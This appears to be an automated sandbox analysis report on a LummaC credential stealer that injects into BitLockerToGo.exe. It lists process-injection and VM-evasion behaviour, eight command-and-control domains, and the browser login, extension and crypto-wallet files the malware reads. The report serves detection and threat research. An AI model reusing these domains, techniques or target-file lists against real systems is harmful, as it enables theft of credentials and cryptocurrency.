Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0066E700 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0066E700

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0066E700 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0066E700

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0066E8E0 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0066E8E0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0065F41E	2_2_0065F41E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00644640	2_2_00644640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0067B7C0	2_2_0067B7C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00660AA0	2_2_00660AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0065FD60	2_2_0065FD60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00646060	2_2_00646060
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00663327	2_2_00663327
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_006604E2	2_2_006604E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0064555B	2_2_0064555B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00666EDE	2_2_00666EDE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00643678	2_2_00643678
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00646630	2_2_00646630
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0065C6DA	2_2_0065C6DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_006766B0	2_2_006766B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00641730	2_2_00641730
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00665705	2_2_00665705
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00645826	2_2_00645826
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00648920	2_2_00648920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_006469F4	2_2_006469F4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00673A60	2_2_00673A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00661A68	2_2_00661A68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00665AAD	2_2_00665AAD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0064EB60	2_2_0064EB60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00645B68	2_2_00645B68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00665B47	2_2_00665B47
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0065BB5E	2_2_0065BB5E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0067BB00	2_2_0067BB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00643C5F	2_2_00643C5F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00647CB0	2_2_00647CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00661C93	2_2_00661C93
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00642E60	2_2_00642E60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0067BE60	2_2_0067BE60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00646ED4	2_2_00646ED4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00666EDE	2_2_00666EDE

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00648DD0 appears 170 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00648700 appears 59 times

Source: file.exe

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000002.1809988585.000000C00046E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000003.1798307073.000001B6DD4F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000003.1798340507.000001B6DD4B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe

Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0066E279 CoCreateInstance,

2_2_0066E279

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Libraries\gelln.scif

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\system32\be135425a071456087e2692015d42df34a06fc9f42fa45fbff539636bfdd80dcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 31%
Source: file.exe	Virustotal: Detection: 29%

Source: file.exe	String found in binary or memory: net/addrselect.go
Source: file.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 6685696 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2a7800
Source: file.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x33b600

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1809988585.000000C00046E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798307073.000001B6DD4F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798340507.000001B6DD4B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1809988585.000000C00046E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798307073.000001B6DD4F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798340507.000001B6DD4B0000.00000004.00001000.00020000.00000000.sdmp

Source: file.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0068136E push esp; ret		2_2_0068136F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00681897 push ebx; iretd		2_2_006818A3

Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6616	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6616	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: BitLockerToGo.exe, 00000002.00000002.1910096455.0000000000843000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910031770.0000000000800000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909593580.0000000000841000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1810510207.000001B697F88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllBB

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00677ED0 LdrInitializeThunk,

2_2_00677ED0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: boredimperissvieos.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: holicisticscrarws.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweetsquarediaslw.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: plaintediousidowsko.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: miniaturefinerninewjs.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: zippyfinickysofwps.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: obsceneclassyjuwks.shop
Source: file.exe, 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: acceptabledcooeprs.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 439008			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000002.00000002.1910096455.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1909697633.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
